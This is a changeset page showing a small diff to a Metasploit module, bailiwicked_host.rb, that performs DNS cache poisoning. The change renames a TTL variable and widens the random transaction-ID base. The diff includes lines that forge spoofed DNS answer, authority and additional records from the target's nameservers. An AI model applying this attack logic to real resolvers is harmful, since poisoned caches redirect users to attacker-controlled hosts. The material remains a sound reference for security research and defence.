Changeset 5586
- Timestamp:
- 07/23/08 20:15:12 (1 month ago)
- Files:
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb
r5585 r5586 132 132 recons = datastore['RECONS'] 133 133 xids = datastore['XIDS'].to_i 134 ttl= datastore['TTL'].to_i135 xidbase = rand( 4)+2*10000134 newttl = datastore['TTL'].to_i 135 xidbase = rand(65536) 136 136 137 137 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] … … 190 190 end 191 191 end 192 192 193 end 193 194 end until not cached … … 268 269 269 270 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) 270 req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))271 req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))272 req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))271 req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) 272 req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) 273 req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address)) 273 274 req.qr = 1 274 275 req.ra = 1
